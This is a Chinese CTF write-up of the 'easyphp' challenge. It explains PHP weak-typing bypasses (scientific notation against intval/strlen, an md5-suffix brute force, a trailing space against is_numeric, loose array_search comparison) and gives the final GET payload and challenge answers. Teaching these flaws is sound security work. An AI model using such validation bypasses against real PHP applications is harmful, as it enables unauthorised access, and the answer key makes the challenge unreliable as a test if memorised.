江苏工匠杯_easyphp_wp
关键词 江苏工匠杯 easyphp 攻防世界 ctf wp php弱类型 php类型转换
目录
前言
小时侯 我们都听过这样的童话故事,王子要拯救公主就要越过重重的关卡打败魔王 集齐钥匙最终唤醒公主 得到浪漫的结局 。这次的题 会让你有种相邻的体验。翻过层层大山 最终得到flag.
原题地址
攻防世界https://adworld.xctf.org.cn/challenges/list
点击获取在线场景 我们的得到一段php代码
分词php代码
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
$a = $_GET['a'];
$b = $_GET['b'];
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}
?> Emmm...
服务端接收get传参 a b 通过一些列的if运算 得到key1 得到key2 也只有得到了这两把钥匙才能包含含有flag的php文件 打印出flag.
魔头一: $a
看一看 过魔头一要什么条件
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
echo "成功通过参数a";
}else{
die("Emmm...");
}
?>
$a传参不为空 $a的数值要大于600000 $a的长度要小于等于3位
这似乎说是一个矛盾的事情 要数值大于6000000 可以是6000001 这样长度必定大于3位 一般人会这想... 别急 类似矛盾后面还有...
查看php官网网对intval函数的说明PHP: intval - Manualhttps://www.php.net/manual/zh/function.intval.php
看看官网示例 #1 intval() 例子
重点看看那些小长度 大数值的例子
<?php
echo intval(042); // 34
echo intval(1e10); // 1410065408
echo intval(0x1A); // 26
?>
0x1A为十六进制 最终得到了十进制26 可是三个长度 最大也是0xf(15)到达不了600000 如果能有600001 进制的表示方法就好了这样我一个10就可以表示600001 了 ...
1e10 最终表示十进制的1410065408 看到这个e有没有很熟悉 这个就是科学计数法 1e10就是1*10的10次方
我们用9e9传参 $a 先用本地文件测试一下
ok 成功通过了a参数
魔头二: $b
任然跟上一个一样 先做一个本地的测试文件
<?php
highlight_file(__FILE__);
$key1 = 0;
$b = $_GET['b'];
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
echo "得到第一把钥匙".$key1;
}else{
die("Emmm...再想想");
}
?>
传入参数b 计算参数b md5的散列值 让它的最后六位为8b184b才能通过
这个容易 暴力的猜测嘛 让程序去做 我们就用php代码来算吧
<?php
highlight_file(__FILE__);
for($b = 1; $b <= 900000; $b++){
$c = md5($b);
if(isset($b) && '8b184b' === substr(md5($b),-6,6))//取md5的后6位
echo "成功 $b:$c";
else
continue;
}
?>
for循环下很快 我们很快就找到了符合条件的值53724 这样我们过了 魔头b了
大魔头三之一:$c[“m”]
建立本次测试文件$c_"m".php
<?php
highlight_file(__FILE__);
$c=(array)json_decode(@$_GET['c']);
//json_decode — 对 JSON 格式的字符串进行解码
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
echo "成功打败魔头c[m]";
}else{
die("no");
}
?>
阅读代码得知 我们传入c值需是JSON 格式的字符串编码 且是一个数组
建立本次测试文件 输出json_decode
有一个键值是m的要大于2023 且不能是数字或数字字符串。这又是一个矛盾的组合
<?php
$arr = array (
//'m'=>2023 //不可以 因为是数字
//'m' => "2023" //不可以 因为是数字字符串
'm' => "2023 "//以空格结尾的字符串 分析如下
);
echo json_encode($arr);
?>
第一次看代码的时候我也不知道is_numeric的具体作用 这时候我就去翻翻官方手册 这非常有用的
PHP: is_numeric - Manualhttps://www.php.net/manual/zh/function.is-numeric.php
看看传入的参数要求了 返回值了 范例了 一般我都会从头看到尾 浏览的过程中我发现一个很重要的信息
这是函数is_numeric的更新日志 也许我们可以加空格来通过$c[“m”]
用刚才输出的测试代码 传入$c_"m".php
大魔头三之一:$c[“n”]
建立本地测试文件
<?php
highlight_file(__FILE__);
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
//array_search — 在数组中搜索给定的值,如果成功则返回首个相应的键名
$d === false?die("no..."):NULL;
echo "通过\$d";
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
//这点val的值不能是"DGGJ"
}
$key2 = 2;
echo "得到钥匙$key2";
}else{
die("no hack");
}
}else{
die("no");
}
<?php
$arr = array (
'm' => "2023 "//固定
'n' => 待添加
);
echo json_encode($arr);
?>
它要求$c["n"]需是一个数组 数组的成员需是两个 数组的第一个成员还是一个数组 大概就是这样子的
’n‘ => array(array(),"")
不多它在后面又有要求了$c["n"]成员要有DGGJ 否者就会死亡。改写代码
’n‘ => array(array(),"DGGJ")
后面有一个遍历$c["n"] 的foreach 若有DGGJ值就会死亡 这又又是一个矛盾的点 那到底要不要DGGL了
...
后面我经历好多次的尝试 查官方资料 希望能获取灵感... 注意在官方手册里array_search 有一个be careful
这到底是什么值得小心的
可以看到array_search搜索字符串needle 但它的成员里只有数组0 最终返回int类型0
我在想这个0是不是它的键值 如果我把它换为1 那是不是就返回int(1)了
var_dump(array_search('needle', [ 1 => 0 ])); // :3:int 1
通过测试把健值改为1 真就返回1了 这样就可以了通过最后一关 得到钥匙了
事实上这又是一个类型不匹配的问题
为什么说又呢 细心的小伙伴会发现上面的代码有 $c["m"] > 2022)
我们输入的是数字字符串 这是可以和数字进行比较的 但如果我们输入的是纯字符串与数字做比较 那最终会是 0与2022作比较
因为字符串会变成int类型 在与其他int作比较
任何字符串转换为int型都将是0 这点可以用(int)"string"做测试
array_search 就存在这样的问题 他会先把’needle‘ 转化为int类型 在于0做比较相等就返回它的键值
修改本地测试代码
<?php
$arr = array (
'm' => "2023 ",//固定
//'n' => array(array(),DGGJ)//不可以哟
//'n' => array(array(),(int)"DGGJ")//手动字符串转数字
'n' => array(array(),0)
);
echo json_encode($arr);
?>
输出{"m":"2023 ","n":[[],0]}
这样数数组里的值就没有DGGJ 这里不用担心有类型转换的问题 因为foreach用的是 === 类型严格匹配
经过array_search 会返回1 也就是true 它可不等于false $d将是null
到这里算是通过所有考验
整合所有的payload
a=9e9
b=53724
c={"n":[[null],0],"m":"2023 "}
多值get传参
?a=9e9&b=53724&c={"n":[[],0],"m":"2023 "}
最终通过了层层险阻打败了魔王得到了钥匙 迎娶了公主(flag)
总结
这道题还是很有意思的
php对参数类型做的没那么严格 所以有一种说法叫做php弱类型